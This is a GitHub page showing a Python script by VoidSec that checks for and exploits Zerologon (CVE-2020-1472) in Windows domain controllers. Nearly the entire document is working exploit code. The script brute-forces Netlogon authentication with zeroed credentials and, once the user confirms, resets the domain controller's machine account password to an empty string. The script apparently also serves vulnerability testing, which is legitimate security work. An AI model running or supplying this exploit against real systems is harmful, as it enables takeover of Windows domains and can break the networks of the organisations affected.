-
Notifications
You must be signed in to change notification settings - Fork 67
/
Copy pathcve-2020-1472-exploit.py
159 lines (132 loc) · 6.22 KB
/
cve-2020-1472-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
"""
Zerologon Checker & Exploit
Paolo Stagno aka Voidsec (@Void_Sec) - https://voidsec.com
Original script and research by Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon
"""
import argparse
import sys
import pyfiglet
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5 import transport
from termcolor import cprint
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
def main():
parser = argparse.ArgumentParser(prog="cve-2020-1472-exploit.py",
description="Zerologon Checker & Exploit: Tests whether a domain controller is "
"vulnerable to the Zerologon attack, if vulnerable, it will resets the DC's account password to an empty string.")
parser.add_argument("-t", default=None, dest="dc_ip", required=True, help="Domain Controller's IP")
parser.add_argument("-n", default=None, dest="dc_name", required=True,
help="NetBIOS' name of the Domain Controller")
args = parser.parse_args()
dc_name = args.dc_name.rstrip("$")
dc_ip = args.dc_ip
perform_attack("\\\\" + dc_name, dc_ip, dc_name)
def err(msg):
cprint("[!] " + msg, "red")
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential.
plaintext = b"\x00" * 8
ciphertext = b"\x00" * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + "\x00", target_computer + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + "\x00", ciphertext, flags
)
# It worked!
assert server_auth["ErrorCode"] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
err("Unexpected error code returned from DC: {}".format(ex.get_error_code()))
except BaseException as ex:
err("Unexpected error: {}".format(ex))
def try_zerologon(dc_handle, rpc_con, target_computer):
"""
Authenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the encrypted
logon credential and a time stamp.
typedef struct _NETLOGON_AUTHENTICATOR {
NETLOGON_CREDENTIAL Credential;
DWORD Timestamp;
}
Timestamp: An integer value that contains the time of day at which the client constructed this authentication
credential, represented as the number of elapsed seconds since 00:00:00 of January 1, 1970.
The authenticator is constructed just before making a call to a method that requires its usage.
typedef struct _NETLOGON_CREDENTIAL {
CHAR data[8];
}
ClearNewPassword: A NL_TRUST_PASSWORD structure, as specified in section 2.2.1.3.7,
that contains the new password encrypted as specified in Calling NetrServerPasswordSet2 (section 3.4.5.2.5).
typedef struct _NL_TRUST_PASSWORD {
WCHAR Buffer[256];
ULONG Length;
}
ReturnAuthenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5,
that contains the server return authenticator.
More info can be found on the [MS-NRPC]-170915.pdf
"""
request = nrpc.NetrServerPasswordSet2()
request["PrimaryName"] = dc_handle + "\x00"
request["AccountName"] = target_computer + "$\x00"
request["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator["Credential"] = b"\x00" * 8
authenticator["Timestamp"] = 0
request["Authenticator"] = authenticator
request["ComputerName"] = target_computer + "\x00"
request["ClearNewPassword"] = b"\x00" * 516
return rpc_con.request(request)
def perform_attack(dc_handle, dc_ip, target_computer):
banner = pyfiglet.figlet_format("Zerologon", "slant")
cprint(banner, "green")
cprint("Checker & Exploit by VoidSec\n", "white")
# Keep authenticating until successful. Expected average number of attempts needed: 256.
cprint("Performing authentication attempts...", "white")
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
if rpc_con is None:
cprint(".", "magenta", end="", flush=True)
else:
break
if rpc_con:
cprint("\n[+] Success: Target is vulnerable!", "green")
cprint("[-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y", "yellow")
exec_exploit = input().lower()
if exec_exploit == "y":
result = try_zerologon(dc_handle, rpc_con, target_computer)
if result["ErrorCode"] == 0:
cprint(
"[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.",
"green")
else:
err(
"Exploit Failed: Non-zero return code, something went wrong. Domain Controller returned: {}".format(
result["ErrorCode"]))
else:
err("Aborted")
sys.exit(0)
else:
err("Exploit failed: target DC is probably patched.")
sys.exit(1)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
# Catch CTRL+C, it will abruptly kill the script, no cleanup
err("CTRL+C, exiting...")
sys.exit(1)